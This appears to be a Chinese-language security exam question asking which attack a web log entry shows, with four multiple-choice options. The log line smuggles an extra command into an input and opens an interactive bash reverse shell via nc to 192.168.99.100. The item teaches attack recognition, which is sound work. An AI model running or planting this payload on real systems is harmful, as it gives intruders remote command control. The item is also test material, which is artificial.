試題詳解

35. 【題組 4】情境如附圖所示。請問「127.0.0.1; /bin/bash -i 2＞&1 | nc 192.168.99.100 80 ＞ /tmp/tmp.txt」這個日誌的內容，可能代表下列何種攻擊情境？(請選擇最合適的選項。)
(A) 攻擊者想要勘查 192.168.99.100 的 80 port 是否可進行 連線，可以連線就可以讀取更多網頁內容
(B) 攻擊者想要讀取 /bin/bash 這個檔案內容，並且把結果輸出到 /tmp/tmp.txt 裡面
(C) 攻擊者想要透過 nc 進行反向連線，讓 192.168.99.100 這台電腦可以對伺服器輸入指令
(D) 攻擊者想要讀取作業系統的版本資訊，並且尋找有無可利用的漏洞直接對作業系統進行攻擊